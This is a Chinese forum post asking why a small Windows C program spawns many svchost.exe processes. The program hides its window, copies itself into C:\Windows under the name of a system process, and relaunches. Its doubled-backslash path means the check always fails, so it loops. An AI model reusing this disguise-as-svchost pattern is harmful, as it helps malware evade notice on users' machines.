代码很简单 就是判断自身是否在指定目录下 不在就复制自身过去 再运行 但是一启动 就会出现N个svchost.exe
求大牛们帮忙看看
#include "stdafx.h"#include <windows.h>#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )int main(){ char path[100]; char npath[] = {'c',':','\\','\\','w','i','n','d','o','w','s','\\','\\','s','v','c','h','o','s','t','.','e','x','e','\0'}; GetModuleFileNameA(NULL,path,sizeof(path)); //判断自身文件路径在不在c:\windows\下 不在就复制过去 然后再运行 if(strcmpi(path,npath)!=0) { CopyFileA(path,npath,false); Sleep(300); WinExec(npath,SW_SHOWNORMAL); return 0; } //在c:\\windows目录下 MessageBox(NULL,"Fuck","Fuck",MB_OK);}解决解决